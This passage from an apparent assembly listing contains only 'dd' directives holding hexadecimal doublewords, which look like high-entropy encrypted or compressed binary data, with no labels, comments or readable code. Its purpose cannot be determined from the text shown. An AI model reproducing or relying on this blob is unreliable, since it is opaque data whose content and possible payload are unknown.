0F4820CBh, 0A045133h, 0EEE8AADCh, 30F4BBB1h dd 0AF901AD8h, 2BC405D6h, 5A20C9C9h, 17EE0908h, 82DC29E5h dd 481889E4h, 0DB5B77FEh, 26FA2C83h, 177B290Dh, 6F5DD989h dd 0BE7C4E03h, 748E0549h, 0B818623Bh, 1CB1101Ah, 407BD4Ch dd 0B214C280h, 680142E0h, 5B6C48D9h, 7F277AC1h, 69D87F0Ah dd 0F606524Eh, 39E8810h, 0CB99BB35h, 4586D17Eh, 0AE890628h dd 585516A9h, 6F162DF5h, 0C605DF6h, 950D9E6Eh, 0CA09773h dd 42B40880h, 46A4097Ch, 7D9734ECh, 8BB71494h, 4254741Bh dd 0D7B4257h, 27F96885h, 0B34A48F2h, 34FA5FCDh, 5CBDBEB2h dd 0A22AC196h, 53A82F5Ah, 0FD42DAC9h, 5F697765h, 0E9548430h dd 4C803C4Ah, 332E4FBBh, 0F8BB07F3h, 0FB60918Ch, 41D3A427h dd 6FE08313h, 0AFE64FD1h, 2DC32B1Fh, 253105EEh, 0A5C29D22h dd 56707C75h, 6A0C6851h, 623F12FDh, 5A4AB3CFh, 8B9A51ECh dd 0AE98A7D5h, 59BB7789h, 9F1E2D64h, 11F0A05Ch, 5013D496h dd 87D1F613h, 0F23E5DEEh, 0D04EC9BFh, 78F6953Fh, 0EC55F659h dd 401F15F0h, 0FA4B8869h, 805BDDB2h, 519670Ch, 0CA810E1Fh dd 4ED06580h, 0C706E2C1h, 0E1AAC3Dh, 6F6CE113h, 0BAD25AB7h dd 9C550C8Eh, 822EBF2Bh, 305DB948h, 35BBA02h, 0AFC1079Ch dd 0E1F58181h, 1D857D13h, 0A6390270h, 69AAF0B3h, 0E65710CCh dd 9BCAA0E7h, 0F7C2E174h, 0F84D344Ch, 7CF95FE9h, 3BDBE9E0h dd 2F285ACh, 2D4F91B2h, 89FE1EFFh, 5B5E7B93h, 23BC2184h dd 8ABA9494h, 87BC932Bh, 0C1A8404Fh, 39611DDEh, 202E7495h dd 55D0EA08h, 70F6EF75h, 224160F3h, 10D2593Ch, 0C4277597h dd 5FFB405Bh, 0F0F6DD01h, 61AE5FD3h, 2726048h, 8348DF5Eh dd 2E1F22F5h, 1EDD1B12h, 31F9B5B3h, 0F7A17842h, 77A17ADFh dd 0FD47167Eh, 6862D8ACh, 14E2BAA9h, 7E4F4AE9h, 0E72CEEF5h dd 0EE099764h, 0A69515DFh, 31D00269h, 8F10D83h, 4CDB5D49h dd 66C30C3Ch, 69DC988Fh, 5B576625h, 0D22C4486h, 4CD86D83h dd 2BF532A1h, 9E1227CFh, 90F6AEA0h, 683966CCh, 9439452Fh dd 0C231B402h, 0D655A48Bh, 6F9AE9D3h, 0A7F7715Fh, 0FD52757Ch dd 0D18455CCh, 9570DE95h, 5D0C815Bh, 35E8D2F7h, 0F4C2EB1Fh dd 54B67F89h, 0EE38E9AAh, 31813E15h, 4BBBC22Eh, 414FD4D2h dd 0F3C4EFF2h, 108FED64h, 0D004D8Bh, 6E70444Fh, 302E0C1h dd 59320A35h, 858F455h, 772F9519h, 999D2A16h, 707F31F0h dd 1856E973h, 0B8D4F680h, 88512815h, 0EBE8E694h, 73EC386Bh dd 0CB808AA8h, 0E3C08816h, 0A3B1A402h, 0D102C330h, 0A43B5BDAh dd 32CBFFFDh, 0E24CF7C9h, 0B9471534h, 32950BBAh, 31CE34E9h dd 62D92CADh, 0A259E12Ah, 605BDD93h, 2D10AF50h, 0FD020962h dd 0F5418CF4h, 40B3B7Eh, 0A8130443h, 1B84CE0h, 78912B80h dd 2603E8C1h, 0B9BD050Ah, 1E0C63Ah, 2D4F3EE4h, 0D406BD4Ch dd 0C3F7E4Ah, 0D5EEA009h, 35E3E0E2h, 805E121Ah, 0CD12FF54h dd 852FB4FAh, 18B3A604h, 0BCBA38E9h, 5AB74F90h, 0ABA2BAD3h dd 29FD22D7h, 5A0BDE55h, 2076645Fh, 583B674Ch, 0BEA6A457h dd 3174B8B0h, 29451670h, 82D10CDh, 9A6AFB40h, 9B9078C4h dd 283FA13Dh, 0E8D6B598h, 0F1AC752Dh, 4B798E18h, 3E22FE6Eh dd 0D514B70Ah, 8C8B3717h, 0F204C06h, 64055C71h, 143CE72h dd 0E4934BECh, 0C241D783h, 0D46CE001h, 97860078h, 54BF0E23h dd 6E13EBBh, 7E75689Fh, 7C14A2A4h, 99DD9D73h, 0B3AC99Ah dd 168931C2h, 0F02F64F4h, 6CEA065Dh, 0C2EBC64h, 23B7CB5h dd 2361E95Bh, 5998B8D1h, 38DE8811h, 0F027585Bh, 25EF8A49h dd 1FB97B86h, 0EFA7E9B1h, 55F68960h, 0DDB951h, 89671A37h dd 0D1C2E9CDh, 5127991h, 5F72E2AAh, 0EE7912FEh, 56000EF3h dd 0C83BD7BEh, 0F628813Ah dd 0C50406D3h, 2D612F75h, 83B50BAh, 30D55E2Fh, 9EADE933h dd 0DD680413h, 0C4C8BC72h, 9AFE4932h, 685B04F5h, 31BB0C21h dd 9D648CBEh, 58CBD111h, 0CE2F9067h, 93219C2Fh, 0FBBE95FDh dd 92BEAAD4h, 857F6DB5h, 0F6BA5706h, 17357E98h, 4F804271h dd 62BDFC60h, 6F416601h, 0A4625E07h, 0C25D07AFh, 548449C3h dd 7FDBEE4h, 99ADA25Eh, 8004A65Ch, 0A2696E03h, 100C3260h dd 2D38DD4Eh, 550B7BE9h, 5F0744D7h, 1FA2A80Dh, 5B05F928h dd 291FC830h, 0F61F69D1h, 12A284FDh, 708BEB01h, 0ED5AE938h dd 985A4DF4h, 5FFBE28h, 0E92F5122h, 749DFC5Dh, 0BF0D3FCh dd 0BC4B544Eh, 7F6AFDD5h, 0A1514575h, 8561238h, 0BCA04669h dd 0B89E9698h, 8BFE5292h, 0F8DD763h, 0EE4B313Ch, 4AE37368h dd 3E688D65h, 0B651F2DDh, 21017D9Ah, 4A6148C2h, 99DDCB8h dd 0ED5EF822h, 800E4D28h, 0F66971E6h, 0AE103DD6h, 6866AC03h dd 0AFA62FE2h, 8057B100h, 0E9D006C1h, 0CC03E4C0h, 0E7160206h dd 0D9B0E9A1h, 0EBAF42F1h, 6855B7A0h, 0DC255F24h, 519C577Fh dd 0A22E916h, 43F0F44Eh, 40D0F7C6h, 0B870808h, 10EA68F5h dd 85193EDDh, 92BEAAD8h, 0F97D22EFh, 20FCB03h, 5B4B3F09h dd 57DE00C4h, 0E6403568h, 4AB05FFCh, 59274802h, 84F8899Eh dd 712958Fh, 192926CAh, 0D03BEA0h, 8F274E98h, 1D185E2Bh dd 0D2EA6508h, 0E342F655h, 9C3B12FBh, 0BABC2447h, 0A1685180h dd 0B4203763h, 4F9700E4h, 0F9090EDDh, 40AC5F4Eh, 7F376FB1h dd 8BDE00FCh, 0E8F63C9Fh, 93C66BC2h, 48C1CA13h, 0B34B9AFh dd 810F826Fh, 0A163E02h, 0D61AFCF6h, 187AF795h, 5825D495h dd 4C1763EFh, 0F475821h, 4F32D925h, 25CBF46Dh, 0C253C224h dd 5C000668h, 0A87C0B68h, 139FB824h, 0ED0C6420h, 0E0EB0260h dd 7D422A6Ch, 80640EAh, 78595850h, 50E04B75h, 0A3274A92h dd 495F79F7h, 9966021Eh, 0A5DE990Bh, 0AD0256A0h, 82A913A6h dd 579CEFFDh, 0F5697CF4h, 0E3896C15h, 7014552Eh, 883D9780h dd 1618BD80h, 7595643h, 301C3C28h, 40F9E935h, 37AC649Fh dd 0C20E5120h, 23FF1FC7h, 225C759Ch, 0B904BC17h, 23A2E698h dd 3B65682h, 0D490EA88h, 5903665Ah, 0D09AE480h, 9427AFECh dd 0E903F480h, 0B562B513h, 0E1C20174h, 20945266h, 0EEFD0ADFh dd 0E4EF77DEh, 0D2A72A0Eh, 0FC3AB212h, 0C580018Ah, 0D87E91Ch dd 90DF45A0h, 0A8C95F0Fh, 2CE8C447h, 6661B800h, 25244577h dd 4B389E14h, 48414A8h, 3C4CED6Eh, 0BC82D2Bh, 262FF8FAh dd 0C969C101h, 4DE0D355h, 10984E50h, 0EE5BCF97h, 35993954h dd 45BF29DAh, 0BF5EF176h, 0B44EC3B7h, 5040C005h, 274377B7h dd 4BC86F64h, 1D0B6689h, 54D14F77h, 0A8023F29h, 0DF29CEABh dd 0E9179770h, 0EC271F24h, 0E1D37192h, 6378E623h, 3F666809h dd 0F2751B7Dh, 9FCC504Eh, 0DBFAD474h, 42CA080Fh, 6A8FB900h dd 2810966h, 250FF3C9h, 0B989C139h, 60E220FDh, 0C1694338h dd 26509D0Ch, 0D57D7093h, 4E3F7E09h, 0A824201h, 0C316AB08h dd 3E4E98E8h, 4CD252DAh, 83880B0Ch, 806FC56Dh, 0C91BF02Dh dd 9A09055Ch, 0F2C247Eh, 50079404h, 8B4001B7h, 0D75E955Ah dd 13EA63C4h, 20C56978h, 0FCBDE64Dh, 0B17865A0h, 9270536h dd 599050C0h, 3FB12AE5h, 13B15694h, 7AC92902h, 0B1CB5E2Ch dd 0A80A7D24h, 43B6C4A7h, 51A0EAB8h, 882868B5h, 2320ABEBh dd 0FD2D5B3Dh, 8F024A58h, 80854006h, 340EC7E2h, 296E3BBFh dd 34081C68h, 6B14101Ch, 2136A10h, 0CBFC6DBBh, 40E48FF9h dd 161935Eh, 9F4A2DDh, 0A0E4D508h, 2EBE660Eh, 70B89652h dd 0BE5822Eh, 0EADF56B5h, 0A0D7F948h, 8A749DB0h, 0E90CBC20h dd 0C032076h, 0F14F12B4h, 141ED40Eh, 14418308h, 55900B6Fh dd 8004FF7h, 0F72D5D3Ch, 95F1CB2h, 0E8C95FA7h, 6BEDC436h dd 2B61E0C2h, 0FC8882DEh, 342C030Ch, 0D828621Dh, 0FCF176B8h dd 6F9E4F4Dh, 21FB38B5h, 8166A1E7h, 6E88C9E7h, 31EC08B5h dd 9C34B2BEh, 5629C98Eh, 0E9C7D97Fh, 17202286h, 6013F670h dd 21EFAA35h, 25448C0Ch, 10E0284Fh, 2112B6B9h, 93D70AF0h dd 21C292C2h, 2289E56h, 0B589EE54h, 65101168h, 0C5B651B5h dd 6CC1C2DEh, 0F77A8FDCh, 2D1711C0h, 1433943Fh, 613F1h dd 6705E3C7h, 90CF013Ch, 0D5088246h, 82D559B2h, 0C8A829F5h dd 0BD1C4F6Dh, 0FC2FE1F3h, 6EE9F009h, 0B0A03DD3h, 0C5585C35h dd 0F261A780h, 0A50B0510h, 0D70683DDh, 4F1FDC22h, 0DC68A3A1h dd 7F89D16Bh, 0B98069F8h, 69034F3Ah, 0C9CF4150h, 96FCB005h dd 0F90BCB01h, 4983C855h, 1FE8014Eh, 5D684258h, 0A797883Bh dd 2FD62C9Ah, 0EF80C25Eh, 90AA16Ch, 0A3E8EF47h, 37393053h dd 0F67B100Ch, 24D49CC6h, 67C7065Fh, 454FFC26h, 68140660h dd 979AC8F2h, 0D2DF9109h, 65505EADh, 61E7833Eh, 0ADE2EB85h dd 0B062CCDFh, 2D014068h, 0F7A95E6Fh, 0DEF4C689h, 40C6BD69h dd 4E4986D6h, 3ED0AFBh, 100F1182h, 8288504Eh, 627C5F07h dd 145BBD80h, 58145CBh, 192243F5h, 0AD5C8302h, 868CEAE5h dd 964BA8EFh, 945F977Ah, 0A548BE19h, 0D37D287Dh, 0E0083B02h dd 0A04FC064h, 0A7330B09h, 0AF84CD31h, 9CF3FCEAh, 3AAEB15h dd 8C07A9F2h, 0BDCAB071h, 0AFC44C63h, 0E70F4312h, 0C8281322h dd 0E946CE1Eh, 4B42F76Ch, 0C321FA5Fh, 1C7428F5h, 309E6F04h dd 0B7173E9Dh, 6900A7B4h, 4F2BD5B0h, 30BFC17Ch, 0D5BF289Fh dd 49C00314h, 1179512Dh, 5F00AADh, 89D32D07h, 586A3A33h dd 1E36E691h, 8B0996BDh, 0C53CC702h, 2462C89h, 540B1A96h dd 2143A0F5h, 0BD90D21Dh, 0B2161760h, 7E90919Dh, 3B41973Ch dd 94E2E3Bh, 7DBDECE9h, 0F35EE712h, 3FAD3D3Dh, 5785B0FDh dd 58402CBBh, 0EB02F0FCh, 767443A7h, 126CDC40h, 0F705D500h dd 3CE125D0h, 0E9483F1Ah, 0A4442224h, 5A0CA4F0h, 101E341h dd 4AF055BAh, 0A2719734h, 0E40F43Fh, 0A2779D50h, 0C3EEC122h dd 46459846h, 0BD4A4C9Bh, 0A5972E3Fh, 0AEFB52F8h, 3E138FB3h dd 953AF67Bh, 3D17C4B3h, 1072E418h, 9826C33Dh, 0E2177FF0h dd 5D560E13h, 88D8C129h, 7FFCFCEAh, 0D1894209h, 7F41775Ah dd 4EC6C3Dh, 7FBF6850h, 0C89031BBh, 7A89078Ch, 77B4A068h dd 0E4D99551h, 4C9C7F49h, 35146813h, 907637FEh, 46ED310Ah dd 12E2E5B5h, 4C3AA251h, 104707F5h, 0AEB33201h, 0C6DB1C54h dd 257D0AA3h, 0F70401B1h, 0E68768D6h, 0C726F059h, 0CD109003h dd 3BFDCC79h, 0E535047Dh, 0C50E77A2h, 0C988BD70h, 689660A0h dd 89B5DEEEh, 0EC767D06h, 205B52E9h, 0D13B9A67h, 0D5DC93E8h dd 5728DCB9h, 0B91D40D1h, 4E395B00h, 388BA60h, 45195FBFh dd 4C2F4930h, 3BE8565Bh, 7025AA91h, 5BF7E0C7h, 0CA26FFD7h dd 18C9F611h, 0C49E044h, 0B400477Fh, 50BA5257h, 0B76BBE09h dd 0E904F5DEh, 0E5E8227Dh, 0EB083DC7h, 0A4CA1100h, 43169446h dd 9504EA83h, 75942C57h, 0E8E7F1AEh, 379180D3h, 3B7BDA01h dd 9F5C5E15h, 0A89B4EB8h, 1FB1C734h, 17E0CB04h, 0FF814FE9h dd 937BC81Dh, 0E752FD8Fh, 0DD052EBh, 2EF85D80h, 0FAE5DFB5h dd 5F008C3Ah, 7F52C2BEh, 0D6ADC053h, 680C599Ah, 7068B0ADh dd 85989744h, 0A1B65093h, 55A4E962h, 6BEFD85Ch, 5A7D787Bh dd 7A5EF056h, 17293C3Eh, 0D9FACB54h, 74A8ED7Dh, 0E20FB895h dd 5D393B0Ch, 0F55F4227h, 1DDBA1Ah, 389E52D1h, 4105A82Bh dd 0D8347E08h, 0D35B1CEEh dd 4BBDE959h, 7F642ABEh, 83E42C99h, 86F2BF12h, 5EA9FD5Eh dd 0B2F55DFCh, 2CC0C598h, 0D6DA61BEh, 95E3075Bh, 0B21C03B9h dd 0DECA8020h, 23437CF9h, 0D488027Dh, 0F6F292E9h, 0D6906934h dd 441D09F8h, 5749B943h, 4CDA8338h, 0EAE32F5Eh, 87861956h dd 0BD9E5AD1h, 0E93C2F52h, 30E4CEFDh, 3B6E1E77h, 0B559CC1Dh dd 0C501FE16h, 80C8B450h, 0F4CC27C4h, 0ECC01246h, 0F3E11608h dd 59048D7h, 55AB1BDAh, 0B5D6A8C3h, 5200569Ah, 92103168h dd 9395A11h, 58DDD5h, 367F1DFBh, 0B731DBE9h, 82CA5A79h dd 7A4DA302h, 6946F453h, 67A26281h, 21AB43D3h, 0CB540E8Ch dd 21187C15h, 3425A4D2h, 0E159E1BFh, 3FE7656Ah, 0E25B1CE2h dd 3D5947Dh, 14E901C2h, 0D6532E9Eh, 748109Fh, 0E6B1515Bh dd 80239192h, 7811777Fh, 0C8893EB9h, 6915E599h, 7B9662BBh dd 79166F5Eh, 35789C99h, 0F8979420h, 0FAD22717h, 53CB1751h dd 0E9EE04D0h, 0E289D4E3h, 2F8D9FC0h, 0A12FB3F0h, 8BBD2D6Bh dd 4DDCA9C1h, 0BAD4A5FDh, 0D3005465h, 1907C8B8h, 3C050572h dd 0F18DE6F8h, 0F4CF4185h, 8164F036h, 37BF105h, 41BE5CD9h dd 0CF74BBFDh, 0C77D3031h, 0F6ECBE13h, 26B200BEh, 0CA290A96h dd 43520990h, 655E00F4h, 610D6BD9h, 71142E4Eh, 1D35005Bh dd 53BEE0Fh, 90DEDB09h, 8460F75Dh, 89E2BCF1h, 4FEAB558h dd 34BEC384h, 0AE9072DFh, 0FAF5AD7h, 201A0D77h, 0AC19E665h dd 875EC4E8h, 73DBE10h, 811E1F01h, 0E922B5E5h, 0F0692128h dd 121D3D1Bh, 0B7E06EE9h, 0CD35C703h, 65D03D60h, 0B5071C20h dd 52D0BA8Bh, 0FCB7CAA1h, 0E9101606h, 30125A78h, 17EAB8EBh dd 8CEF226Bh, 5F82B8E3h, 75F49ED2h, 539A6654h, 0B850F9EEh dd 7E4C766Bh, 0DA3113DAh, 6189C9E9h, 0ED92A356h, 987A53EEh dd 8F2855E8h, 66FA8947h, 0B9F67582h, 55152B09h, 0CB01E8F9h dd 346F06BFh, 0E9031285h, 1682EC38h, 3D64C801h, 0B85E49D8h dd 619B2F75h, 0D5A74CF9h, 86DABA09h, 760DE912h, 5115C706h dd 0DF5B97D9h, 0FE19EB07h, 7FBE56E0h, 5F982D54h, 0D6057B52h dd 6A41E946h, 0B617DCAAh, 0B628C040h, 39C1089Fh, 47D82C0Fh dd 534004D0h, 7C0F1B3h, 0C3FE07E3h, 0E9B92080h, 9EB234B0h dd 0DA22650Bh, 4D13272h, 800226AEh, 0C37DB6EFh, 0BC830CDh dd 6F30C2EBh, 390EFD37h, 0D2D1E4h, 7916755Dh, 0F551C069h dd 8C5F25E1h, 67B3C8B2h, 0F82278EBh, 0C661C048h, 24936A51h dd 102EA9Fh, 0A6E95A08h, 2520A735h, 285BFA3Ah, 4ADBEDC1h dd 7AEEE149h, 3F9E1DA2h, 0FC2CF693h, 1FE96D5h, 8D5DF165h dd 0BCE43F48h, 51E903C2h, 0D129690Fh, 3A1F36B1h, 2568AB38h dd 0B4180812h, 81832D22h, 0C9C659C8h, 122150E5h, 807FD76Fh dd 43D87E25h, 0B170CC1h, 127029EAh, 56CB26F6h, 0EDDE1589h dd 0D4CE077Bh, 0B217FC63h, 595F8CB9h, 0E35547E6h, 0A74FCC3Eh dd 442183E5h, 0AC351281h, 6A106938h, 1F222B04h, 0D8EC5E0Ch dd 8F918501h, 4F14BA52h, 382828C9h, 92B8004Fh, 29B36124h dd 0D2046C97h, 82080710h, 174F22Ah, 9E104248h, 681990B5h dd 0AD724FE2h, 3805B156h, 0A238BD2Bh, 0A0A8C65Ch, 2715BA8Fh dd 0DD7CEBh, 7B7A2598h, 2F6EC2Dh, 0D33D593Ah, 0AED4E6C1h dd 1FD4FC0Fh, 1F345B2Dh, 145E7ECh, 0CD160144h, 2FFC2AE5h dd 0C7E18DAh, 5935E8E2h, 0A01900E7h, 4BDBF775h, 0B74012C1h dd 116BAD14h, 0B74ED51Eh, 7DC0C415h, 3877891Ch, 1098134Ch dd 251C9060h, 0CF3E6Ah, 2E0C12Ah, 0AAEEE435h, 48A5F35Ah dd 48061880h, 0E24742Dh, 47091175h, 518FB4h, 0AC1A4E04h dd 0A2CA9769h, 475F080Bh, 2CE9057Dh, 6031EFC5h, 192EF9BEh dd 3F098B8h, 2C06E8ACh, 4A66F409h, 19BD88BCh, 18C40C95h dd 0EFB88012h, 0DF9C0B3Eh, 0B758ED4Ch, 0DCE90E2Dh, 0E789781Bh dd 0A800742Bh, 340FC8Fh, 3ED58951h, 8635A002h, 0FD7E414Dh dd 0CBB9E96Bh, 0E745D75Fh, 0D755548Ch, 6FA441EEh, 0EA2B7AE1h dd 27E9CE7Ch, 37743674h, 952BBB50h, 0FF45F7F1h, 0EFD2A7ACh dd 0C2BFAFD4h, 0AD5C12E2h, 0BD3ED8Fh, 5D8A2BD8h, 0EBF60802h dd 0EF96FC57h, 18F14C86h, 3B196804h, 0AAAC261Ch, 0FE480517h dd 0F42E2B99h, 335EE9BEh, 0C5BA0C00h, 95444B4Eh, 0BE8458h dd 0C2A78418h, 1F9576A6h, 0FFD101BCh, 2A426F25h, 5AE77475h dd 5175DDA9h, 798B4747h, 11B5BCCCh, 0DB7F34ABh, 325E2F43h dd 0E6624091h, 59F1BC07h, 0AB173E6Eh, 6E99DFEh, 0C10BD580h dd 8FC66644h, 0BC49D5Ch, 0BAC37ADDh, 0BCAF844Bh, 90C7F0E3h dd 84C4642Eh, 123784CFh, 4AB8B808h, 27C15A91h, 27A6E72Bh dd 0AA225F5Ch, 0FED310EEh, 67776884h, 821465AAh, 0F6553117h dd 8979C958h, 648F5D2Fh, 4725AB26h, 0F474A420h, 28115584h dd 0B36EF7F5h, 0CBEC5FB5h, 1344E90Bh, 768CF759h, 0BF79D11h dd 31A30A6Eh, 0D9FD44F8h, 5BBD7817h, 0E27E182Dh, 467A4DBBh dd 44F250DAh, 47ACE9Fh, 0CD0218B8h, 5752C041h, 0B769D6E9h dd 3FC7D462h, 0B02DC0DEh, 0B4020C09h, 403E8C0h, 0C223758Dh dd 22779819h, 990689Dh, 0B75A3F9Bh, 0B4ED7716h, 2D3CA5D6h dd 9800DA75h, 0B1F18141h, 32660676h, 0F5DF0EE9h, 3DD7C504h dd 0E8BBC3A5h, 1E5387E8h, 0D1F50108h, 60470F0Ah, 12E22F3Dh dd 55A5725Eh, 985D0802h, 0C024087Eh, 260CF141h, 569F327Dh dd 4A6A1140h, 483BCDFAh, 54B7665Eh, 0E97F92BDh, 0CA246F2h dd 69093668h, 0F81F5B9Ch, 0F529B1BEh, 9CA55FFCh, 3FB9402Dh dd 61F486Bh, 0D5CACA21h, 0F3AABD1Dh, 7EA10D20h, 5FA42442h dd 1CA6A0AAh, 93C371E3h, 46F9004Ah, 0C148774Dh, 8B08EE28h dd 95BBF80Ah, 9B00C707h, 150E804h, 802AB0F2h, 95BEE908h dd 0DEF39168h, 2AA64316h, 8EC39200h, 20AF3252h, 4AB9DD29h dd 3B084D24h, 67B51EDAh, 503DC875h, 34B305B0h, 0CBC528D2h dd 0E80370D4h, 28BB2C59h, 6646FFD8h, 51DD254Eh, 9575F3C6h dd 8346799Fh, 5DED730Fh, 0DE52984Bh, 41D313ABh, 8362F2E8h dd 6A0C9E32h, 1D93A82h, 63F37DDFh, 4AE9D704h, 5168EACh dd 7EE9F602h, 5C606531h, 656F5159h, 0DD16BAEDh, 5BE9136Ch dd 9A80754h, 677872C3h, 5741A6C8h, 5501AF4h, 2D07405Dh dd 31341599h, 744B2560h, 7E5E7BA9h, 48812D05h, 0BAE9CD60h dd 0BFE1049Fh, 6B07A1FFh, 9FC5E2F4h, 0D32716F4h, 0C096137Ch dd 9C3B9C4h, 497B232Fh, 693C994Bh, 0D36CB64Bh, 4498CDAEh dd 0B403B923h, 0D70B6EC3h, 3FF56847h, 93BEE161h, 0DFA6A22Bh dd 55732249h, 0B5685F38h, 0C9ED4A4Eh, 0F6F3E9A1h, 0E9F8F7DCh dd 279A64FCh, 42D3E53Ch, 2BDC1B30h, 9F65D725h, 910DEB0Ch dd 0C09B0BF2h, 3E7601B9h, 0B51DDD9Bh, 9A49FBB0h, 0D2D0FACBh dd 6C9CFA1Bh, 0E7AAFE53h, 4D69EE2Eh, 0F65CD785h, 2FF2BFF1h dd 0A164EA11h, 0BA3C0D97h, 55874FD6h, 0C31813A6h, 14ADEB4Ah dd 0C1DF277Bh, 8A881AC6h, 2D023BBFh, 72E91CFBh, 936ADB15h dd 60861E51h, 2CC0FE04h, 0C3EB53D4h, 0FEF5FDE4h, 257B5BB6h dd 0E6CABB3Fh, 5E7B0DF0h, 0FDB2032Dh, 0BF57E610h, 4647E3Ch dd 0E7C14707h, 893153C7h, 2EE374h, 164B60BEh, 6B013503h dd 0E9112E6Ch, 903AA8C8h, 0C9B2B589h, 10B09E60h, 9D65FC60h dd 882637Ah, 22582F7Eh, 0F744C6ADh, 254BC6DEh, 4D232E9h dd 49214785h, 9042DFC7h, 7BB5FC55h, 59B1D001h, 0E7D10F0Ch dd 0CFD3002Ah, 447839FDh dd 0E2EFC137h, 322A3630h, 23ADA061h, 383EC553h, 0ADEA06C1h dd 0ED4A750Ch, 0B87917FBh, 757A1864h, 1444F21Bh, 0B64AA084h dd 6812025Ah, 0DAF12B43h, 181F8E30h, 2F1D793Ch, 73E35FFAh dd 4EB9E45Fh, 87A5E90Ah, 8616BBA6h, 0B48F6A9h, 0D6295868h dd 0DA2C6764h, 0FD2A832h, 5A3EBC41h, 0FE2131C5h, 450B8A75h dd 1216DF22h, 2A40B6B0h, 0E22E0BBBh, 62FFF869h, 0C8457B7h dd 2FBFA9A3h, 41BEEAEEh, 1692D080h, 0FE3BF5Bh, 1C18F13Fh dd 0F681C39Fh, 0D64BF0Eh, 9CEC00Ah, 9045F83Eh, 523F2DC5h dd 9DFF8E68h, 5F92B2B9h, 30E9DE2Ch, 0C689CBD1h, 14702224h dd 8202CB9h, 72B1B0C4h, 0F2BF20BBh, 213E9004h, 510F96A6h dd 9E9D87F8h, 45029254h, 0FE4CFE9Dh, 8858D902h, 0F6D17DE1h dd 0BBE98086h, 21945806h, 0D3634633h, 26C80CE1h, 106B48FFh dd 0D11F765Ah, 16779AE2h, 0C6A6C511h, 3B097DDAh, 0AB417B25h dd 0FD427FEFh, 5511C4D5h, 5862A5D1h, 430BCC07h, 4C45D22Eh dd 5BDE47E8h, 2F5F6C98h, 4E7B54B7h, 0B321006Bh, 0BBCB8045h dd 4EBC016h, 0EE580BFBh, 3C45E2DBh, 1049C954h, 3128AE90h dd 0EB0827EFh, 74A54DC5h, 1E8ECFBBh, 24068D25h, 5C081AD2h dd 30DFF629h, 97FE4790h, 0FD3B1A5Dh, 0F5012DC0h, 77691E99h dd 684111F9h, 4F986C5Fh, 0F680C1ACh, 0C60CA073h, 0ACEFEBAh dd 8EE91B1Bh, 43782A39h, 0D160F727h, 69D74337h, 12FB954Bh dd 58C2BACCh, 248D82DDh, 0CB5B0564h, 8DE95A42h, 0BF5E789h dd 45C65560h, 0E92513F8h, 5D2D0329h, 0A24D8B05h, 0AC82FF11h dd 5E02C76Dh, 2EAA8046h, 0A0260D4Ah, 2E3F90A8h, 13F93B42h dd 853E463Eh, 1620BB0Ch, 0C4B009D6h, 6C0BC328h, 0F38082DDh dd 0FC8ED88Eh, 0C7459F49h, 0FFB99F04h, 0AD0BECBEh, 0C2B8E82Eh dd 9452DCE9h, 137884A3h, 300E5168h, 6B2524Fh, 0E97801B5h dd 0C02C0337h, 3CDBB9C0h, 814F3A25h, 76133BF8h, 0B2F60105h dd 3A230A1Bh, 0AC4807FEh, 5818104Dh, 134A6968h, 0E16F234h dd 5A8B9D88h, 0D24C283Ch, 0D6B9265Fh, 2C8B57CFh, 0F7368B5Fh dd 0C1D780B2h, 0BC7D0D64h, 2D5DBD30h, 47671BF4h, 7DABCAECh dd 0D42124B2h, 0A29FB353h, 0D59DFC10h, 27563900h, 86A14CD8h dd 2CBE78F7h, 2E0D3A89h, 0FD679D30h, 434708D2h, 4F907025h dd 4E89CA58h, 0CFDC29ABh, 0F8476081h, 1814CFE2h, 0F728ABh dd 21ED4180h, 4F07EAC1h, 0FF43C142h, 0A9E9E030h, 820DDD58h dd 5F42447Ch, 5A687121h, 28286F6Ah, 0E3E64CE9h, 6D5410C1h dd 684081D4h, 0F76B6919h, 0CC20B2Ah, 474BF07Bh, 4E0A0993h dd 0AC663CF5h, 7523A274h, 0F920FA52h, 94BD0060h, 21357667h dd 61955DEAh, 13B2DA5h, 5AF188F3h, 0EDC8D150h, 5E43460h dd 590F6407h, 2DC52936h, 0FE6D071Dh, 66D5A760h, 98E91740h dd 0DAE9213Dh, 0B8EA0487h, 10667EF6h, 4BADF4D1h, 1748AD2Dh dd 34BFC289h, 84A080A1h, 926C320h, 4A16F583h, 1586790Dh dd 9705B22Eh, 135BB8F0h, 0EE103162h, 0FA4CE081h, 78DEA22Bh dd 0E7891B01h, 59CE098Eh, 35F498E7h, 0E86F581Eh, 8F50F501h dd 25E8E949h, 0F5A72E8Dh, 0CCCDFFD3h, 35F2B6AFh, 0C1BAFEB5h dd 6BC3B6E9h, 3E7CFA41h, 0DF70525Ch, 61680271h, 24C7E921h dd 4219855h, 0F0281DEFh, 0BF983F2Ch, 87D3CD3Bh, 5304DD60h dd 1B5F5B57h, 0A7426E68h, 0F9FF3C27h, 7E90BDBh, 7C046B6Bh dd 3E336ACCh, 2A13CC3h, 162DC5E7h, 0E05E05E0h, 0B5769128h dd 2310B724h, 5FB9430Bh, 0ABB42CB4h, 5DA8095Ah, 59D7C642h dd 2F43425Ch, 472420F1h, 933250Ah, 75916BCh, 921707F3h dd 4065B34Ch, 475E8F14h, 0C2C924Fh, 9721393Dh, 97D91655h dd 162ECBE8h, 0EE552585h, 84BAA527h, 0C84026E9h, 0F441CBA2h dd 0E83FEB61h, 0B042ADCAh, 11EC7F18h, 6A786813h, 81FE29FAh dd 415BBB32h, 5A8A732Ch, 0DFA0984h, 30B052E9h, 88ECC784h dd 0EDE1C25Ah, 0F92809F5h, 28892C01h, 0D6B151E8h, 65F28BC1h dd 2F1471BAh, 83ACABF8h, 0E9FFEE04h, 0CEEA4312h, 0E3BD038Bh dd 0F07DB31Dh, 33B48CDh, 0E9534CA1h, 0AE85572Bh, 0C13E33E3h dd 0DF7C0B33h, 687A5654h, 0B47BF824h, 20C95AD2h, 0C998852Fh dd 5BB8EB4Dh, 33A369A8h, 0E2E9BA13h, 443C98F9h, 59580C0Fh dd 6555AE69h, 347D3F56h, 0EA312C14h, 4E0377F0h, 856827E7h dd 8EAED5D3h, 1592D8Bh, 0FD39F80Ch, 4161E62Eh, 2E2E1FBh dd 32596459h, 57B02958h, 0C89FD0F0h, 58B8E93Ch, 0A99726D3h dd 7FB95EDFh, 0C3282C4Eh, 0E23A0541h, 7EF1FA8h, 0A004F3Ch dd 6F558C0Dh, 0B88FBD79h, 0B20C2AA5h, 0D7542709h, 2CB22567h dd 0EB0F0984h, 85C2BE72h, 295C5DE3h, 7A539F74h, 0B55B4CEBh dd 24142A42h, 53685480h, 0F1ED264Fh, 1333F684h, 